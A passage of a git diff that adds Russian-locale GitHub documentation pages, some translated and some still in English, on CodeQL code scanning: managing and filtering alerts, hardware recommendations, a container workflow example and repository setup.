`autobuild` правильно собирает C/C++ и C#, но сборка Java завершается сбоем, можно использовать в рабочем процессе приведенную ниже конфигурацию после шага `init`. В ней указываются шаги сборки для Java, а для C/C++ и C# по-прежнему используется `autobuild`: + +```yaml +- if: matrix.language == 'cpp' || matrix.language == 'csharp' + name: Autobuild + uses: {% data reusables.actions.action-codeql-action-autobuild %} + +- if: matrix.language == 'java' + name: Build Java + run: | + make bootstrap + make release +``` + +Дополнительные сведения об условном операторе `if` см. в статье [Синтаксис рабочего процесса для GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif). + +Дополнительные советы и рекомендации, если `autobuild` не собирает ваш код, см. в статье [Устранение неполадок рабочего процесса {% data variables.product.prodname_codeql %}](/code-security/secure-coding/troubleshooting-the-codeql-workflow). + +Если вы добавили шаги сборки вручную для скомпилированных языков, а {% data variables.product.prodname_code_scanning %} по-прежнему не работают в репозитории, обратитесь в {% data variables.contact.contact_support %}. diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md new file mode 100644 index 000000000000..ba572eaeae4b --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md @@ -0,0 +1,38 @@ +--- +title: Автоматическое сканирование кода на предмет уязвимостей и ошибок +shortTitle: Scan code automatically +intro: 'Вы можете найти уязвимости и ошибки в коде проекта на {% data variables.product.prodname_dotcom %}, а также просматривать, рассматривать, оценивать, анализировать и устранять связанные оповещения {% data variables.product.prodname_code_scanning %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning +children: + - /about-code-scanning + - /about-code-scanning-alerts + - /triaging-code-scanning-alerts-in-pull-requests + - /setting-up-code-scanning-for-a-repository + - /managing-code-scanning-alerts-for-your-repository + - /tracking-code-scanning-alerts-in-issues-using-task-lists + - /configuring-code-scanning + - /about-code-scanning-with-codeql + - /recommended-hardware-resources-for-running-codeql + - /configuring-the-codeql-workflow-for-compiled-languages + - /troubleshooting-the-codeql-workflow + - /running-codeql-code-scanning-in-a-container + - /viewing-code-scanning-logs +ms.openlocfilehash: 1024f707aee96ebeee6e941b3ee018267148535f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087729' +--- + diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md new file mode 100644 index 000000000000..ca20d1b9a1a2 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -0,0 +1,227 @@ +--- +title: Managing code scanning alerts for your repository +shortTitle: Manage alerts +intro: 'From the security view, {% ifversion delete-code-scanning-alerts %}you can view, fix, dismiss, or delete alerts {% else %}you can view, fix, or dismiss alerts{% endif %} for potential vulnerabilities or errors in your project''s code.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/managing-security-vulnerabilities/managing-alerts-from-automated-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-alerts-from-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository + - /code-security/secure-coding/managing-code-scanning-alerts-for-your-repository + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository +type: how_to +topics: + - Advanced Security + - Code scanning + - Alerts + - Repositories +--- + +{% data reusables.code-scanning.beta %} + +## Viewing the alerts for a repository + +Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +You need write permission to view a summary of all the alerts for a repository on the **Security** tab. + +By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. + ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png) +{% data reusables.code-scanning.explore-alert %} +![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + {% data reusables.code-scanning.alert-default-branch %} + ![The "Affected branches" section in an alert](/assets/images/help/repository/code-scanning-affected-branches.png){% endif %} +1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png) + {% else %} + ![The "Show paths" link on an alert](/assets/images/enterprise/3.4/repository/code-scanning-show-paths.png) + {% endif %} +2. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. + ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) + +For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts)." + +{% note %} + +**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. + +For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated. + ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png) + +{% endnote %} + +## Filtering {% data variables.product.prodname_code_scanning %} alerts + +You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. + +- To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list. + {% ifversion fpt or ghes or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png) + {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} +- To use a keyword, either type directly in the filters text box, or: + 1. Click in the filters text box to show a list of all available filter keywords. + 2. Click the keyword you want to use and then choose a value from the drop-down list. + ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) + +The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results. + +If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch. + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.code-scanning.filter-non-default-branches %} +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghec %} + +You can prefix the `tag` filter with `-` to exclude results with that tag. For example, `-tag:style` only shows alerts that do not have the `style` tag{% ifversion codeql-ml-queries %} and `-tag:experimental` will omit all experimental alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)."{% else %}.{% endif %} + +{% endif %} + +### Restricting results to application code only + +You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. See "[About labels for alerts not in application code](#about-labels-for-alerts-that-are-not-found-in-application-code)" above for more information about the types of code that are not application code. + +{% ifversion fpt or ghes or ghec %} + +## Searching {% data variables.product.prodname_code_scanning %} alerts + +You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across: +- The name of the alert +- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png) + {% else %} + ![The alert information used in searches](/assets/images/enterprise/3.4/repository/code-scanning-free-text-search-areas.png) + {% endif %} + +| Supported search | Syntax example | Results | +| ---- | ---- | ---- | +| Single word search | `injection` | Returns all the alerts containing the word `injection` | +| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | +| Exact match search
(use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | +| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | +| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | + +{% tip %} + +**Tips:** +- The multiple word search is equivalent to an OR search. +- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name or details. + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. + ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png) +2. Press return. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. + +{% endif %} + +{% ifversion code-scanning-task-lists %} +## Tracking {% data variables.product.prodname_code_scanning %} alerts in issues + +{% data reusables.code-scanning.beta-alert-tracking-in-issues %} +{% data reusables.code-scanning.github-issues-integration %} +{% data reusables.code-scanning.alert-tracking-link %} + +{% endif %} + +## Fixing an alert + +Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. + +You can use the free text search or the filters to display a subset of alerts and then in turn mark all matching alerts as closed. + +Alerts may be fixed in one branch but not in another. You can use the "Branch" filter, on the summary of alerts, to check whether an alert is fixed in a particular branch. + +![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.code-scanning.filter-non-default-branches %} +{% endif %} + +{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +{% note %} + +**Note:** If you run code scanning using multiple configurations, then sometimes an alert will have multiple analysis origins. Unless you run all configurations regularly, you may see alerts that are fixed in one analysis origin but not in another. For more information, see "[About analysis origins](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)." + +{% endnote %} +{% endif %} +## Dismissing {% ifversion delete-code-scanning-alerts %}or deleting{% endif %} alerts + +There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. {% ifversion delete-code-scanning-alerts %}Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab.{% endif %} + +Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. + +When you dismiss an alert: + +- It's dismissed in all branches. +- The alert is removed from the number of current alerts for your project. +- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. +- The reason why you closed the alert is recorded.{% ifversion comment-dismissed-code-scanning-alert %} +- Optionally, you can comment on a dismissal to record the context of an alert dismissal.{% endif %} +- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. + +{% ifversion delete-code-scanning-alerts %}When you delete an alert: + +- It's deleted in all branches. +- The alert is removed from the number of current alerts for your project. +- It is _not_ added to the "Closed" list in the summary of alerts. +- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results.{% endif %} + +To dismiss {% ifversion delete-code-scanning-alerts %}or delete{% endif %} alerts: + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %}{% ifversion delete-code-scanning-alerts %} +1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**. + + ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) + + Optionally, you can use the free text search or the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. + +{% ifversion ghes or ghae %} + ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) +{% else %} + ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) +{% endif %}{% endif %} +1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. +![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) +{%- ifversion comment-dismissed-code-scanning-alert %} +1. Review the alert, then click **Dismiss alert** and choose, or type, a reason for closing the alert. + ![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) +{%- else %} +1. Review the alert, then click **Dismiss** and choose a reason for closing the alert. + ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) +{%- endif %} + {% data reusables.code-scanning.choose-alert-dismissal-reason %} + + {% data reusables.code-scanning.false-positive-fix-codeql %} + +### Dismissing multiple alerts at once + +If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. + +## Further reading + +- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" +- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" +- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)" diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md new file mode 100644 index 000000000000..2c2459f82810 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md @@ -0,0 +1,37 @@ +--- +title: Рекомендуемое оборудование для запуска CodeQL +shortTitle: Hardware resources for CodeQL +intro: 'Рекомендуемые спецификации (ОЗУ, количество ядер ЦП и дисковое пространство) для выполнения анализа {% data variables.product.prodname_codeql %} на локальных компьютерах с учетом размера базы кода.' +product: '{% data reusables.gated-features.code-scanning %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning + - CodeQL + - Repositories + - Integration + - CI +ms.openlocfilehash: 9f180e28a3207ef64a516a1e6cd6a8bbcf17ea53 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117715' +--- +{% data variables.product.prodname_codeql %} можно настроить в {% data variables.product.prodname_actions %} или во внешней системе CI. {% data variables.product.prodname_codeql %} полностью совместим со средствами выполнения на базе {% data variables.product.prodname_dotcom %} в {% data variables.product.prodname_actions %}. + +Если вы используете внешнюю систему CI или локальные средства выполнения в {% data variables.product.prodname_actions %} для частных репозиториев, вы сами должны настроить свои оборудование. Оптимальная конфигурация оборудования для запуска {% data variables.product.prodname_codeql %} зависит от размера и сложности базы кода, используемых языков программирования и систем сборки и настройки рабочего процесса CI. + +В приведенной ниже таблице представлены рекомендуемые спецификации оборудования для выполнения анализа {% data variables.product.prodname_codeql %} в соответствии с размером вашей базы кода. Используйте их в качестве отправной точки при выборе оборудования или виртуальной машины. Компьютер с более существенным объемом ресурсами может справляться с анализом быстрее, но при этом обходится дороже. + +| Размер базы кода | ОЗУ | ЦП | +|--------|--------|--------| +| Малый (< 100 тыс. строк кода) | 8 ГБ или более | 2 ядра | +| Средний (от 100 тыс. до 1 млн строк кода) | 16 ГБ или более | 4 или 8 ядер | +| Большой (> 1 млн строк кода) | 64 ГБ или более | 8 ядер | + +Независимо от размера базы кода рекомендуется использовать SSD с дисковым пространством 14 ГБ или более. На диске должно быть достаточно места для получения и сборки кода плюс дополнительное пространство для данных, создаваемых {% data variables.product.prodname_codeql %}. diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md new file mode 100644 index 000000000000..a75e820eee8f --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md @@ -0,0 +1,104 @@ +--- +title: Выполнение проверки кода CodeQL в контейнере +shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container' +intro: 'Вы можете запустить {% data variables.product.prodname_code_scanning %} в контейнере, обеспечив выполнение всех процессов в одном контейнере.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container + - /code-security/secure-coding/running-codeql-code-scanning-in-a-container + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Actions + - Repositories + - Containers + - Java +ms.openlocfilehash: 60dac8a7f71af067c5cfaba5f48d123a3068f704 +ms.sourcegitcommit: aa488e9e641139f9056885b1479c8801e9906131 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148162810' +--- +{% data reusables.code-scanning.beta %} + +## Сведения о {% data variables.product.prodname_code_scanning %} с контейнерной сборкой + +Если вы настраиваете {% data variables.product.prodname_code_scanning %} для скомпилированного языка и создаете код в контейнерной среде, анализ может завершиться ошибкой с сообщением "Исходный код во время сборки не обнаружен". Это означает, что {% data variables.product.prodname_codeql %} не удалось отследить код в процессе его компиляции. + +Необходимо запустить {% data variables.product.prodname_codeql %} в контейнере, где происходит сборка кода. Это применимо, если вы используете {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}, {% data variables.code-scanning.codeql_runner %},{% endif %} или {% data variables.product.prodname_actions %}. Дополнительные сведения о {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %} или {% data variables.code-scanning.codeql_runner %}{% endif %} см. [в разделе Установка {% data variables.product.prodname_codeql_cli %} в системе CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system){% ifversion codeql-runner-supported %} или [Выполнение {% data variables.code-scanning.codeql_runner %} в системе CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system){% endif %}. Если вы используете {% data variables.product.prodname_actions %}, настройте рабочий процесс таким образом, чтобы все действия выполнялись в одном контейнере. Дополнительные сведения см. в разделе [Пример рабочего процесса](#example-workflow). + +{% note %} + +**Примечание.** {% data reusables.code-scanning.non-glibc-linux-support %} + +{% endnote %} + +## Зависимости + +Проблемы с проверкой {% data variables.product.prodname_code_scanning %} могут возникнуть, если в контейнере, который вы используете, отсутствуют определенные зависимости (например, необходимо установить Git и добавить его в переменную PATH). При возникновении проблем с зависимостями просмотрите список программного обеспечения, обычно включенного в образы средства выполнения тестов {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в файлах `readme` для соответствующих версий в следующих местах: + +* Linux: https://github.com/actions/runner-images/tree/main/images/linux +* macOS: https://github.com/actions/runner-images/tree/main/images/macos +* Windows: https://github.com/actions/runner-images/tree/main/images/win + +## Пример рабочего процесса + +{% ifversion ghes or ghae %} {% note %} + +**Примечание.** В этой статье описываются функции, доступные в версии действия CodeQL и в связанном пакете интерфейса командной строки CodeQL, который входит в первоначальный выпуск этой версии {% data variables.product.product_name %}. Если в вашей организации используется более поздняя версия действия CodeQL, сведения об актуальных функциях см. в статье [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container).{% ifversion not ghae %} Сведения об использовании последней версии см. в разделе [Настройка проверки кода для устройства](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %} + +{% endnote %} {% endif %} + +В этом примере рабочего процесса {% data variables.product.prodname_actions %} используется для анализа {% data variables.product.prodname_codeql %} в контейнерной среде. Значение `container.image` идентифицирует используемый контейнер. В этом примере изображение называется `codeql-container` и снабжено тегом `f0f91db`. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer). + +``` yaml +name: "{% data variables.product.prodname_codeql %}" + +on: + push: + branches: [main] + pull_request: + branches: [main] + schedule: + - cron: '15 5 * * 3' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + permissions: + security-events: write + actions: read + + strategy: + fail-fast: false + matrix: + language: [java] + + # Specify the container in which actions will run + container: + image: codeql-container:f0f91db + + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + - name: Initialize {% data variables.product.prodname_codeql %} + uses: {% data reusables.actions.action-codeql-action-init %} + with: + languages: {% raw %}${{ matrix.language }}{% endraw %} + - name: Build + run: | + ./configure + make + - name: Perform {% data variables.product.prodname_codeql %} Analysis + uses: {% data reusables.actions.action-codeql-action-analyze %} +``` diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md new file mode 100644 index 000000000000..4cad55a2e4f9 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md @@ -0,0 +1,199 @@ +--- +title: Setting up code scanning for a repository +shortTitle: Set up code scanning +intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.' +redirect_from: + - /github/managing-security-vulnerabilities/configuring-automated-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/enabling-code-scanning-for-a-repository + - /github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository + - /code-security/secure-coding/setting-up-code-scanning-for-a-repository + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Actions + - Repositories +--- + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} + +## Options for setting up {% data variables.product.prodname_code_scanning %} + +You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)." + +{% data reusables.code-scanning.enabling-options %} + +{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +{% data reusables.code-scanning.about-analysis-origins-link %} +{% endif %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** If you want to use the CodeQL analysis, note that this article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %} + +{% endnote %} +{% endif %} + +{% ifversion ghae %} +## Prerequisites + +Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository. + +Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." +{% endif %} + +{% ifversion fpt or ghec %} +## Setting up {% data variables.product.prodname_code_scanning %} using starter workflows + +{% data reusables.advanced-security.starter-workflows-beta %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %} + +{% endnote %} +{% endif %} + +{% data reusables.advanced-security.starter-workflow-overview %} {% data variables.product.prodname_code_scanning_capc %} starter workflows are only available for your repository if {% data variables.product.prodname_code_scanning %} is enabled. + +{% data reusables.code-scanning.billing %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +1. If the repository has already at least one workflow set up and running, click **New workflow** and go to step 5. If there are currently no workflows configured for the repository, go to the next step. + ![Screenshot of the New workflow button](/assets/images/help/security/actions-new-workflow-button.png) +1. Scroll down to the "Security" category and click **Configure** under the workflow you want to configure, or click **View all** to see all available security workflows. + ![Screenshot of the Actions workflows security section](/assets/images/help/security/actions-workflows-security-section.png) +1. On the right pane of the workflow page, click **Documentation** and follow the on-screen instructions to tailor the workflow to your needs. + ![Screenshot of the Documentation tab for starter workflows](/assets/images/help/security/actions-workflows-documentation.png) + For more information, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows#using-starter-workflows)" and "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)." + +{% endif %} + +## Setting up {% data variables.product.prodname_code_scanning %} manually + +{% ifversion fpt %} + +You can set up {% data variables.product.prodname_code_scanning %} in any public repository where you have write access. + +{% endif %} + +{% data reusables.code-scanning.billing %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." + !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security 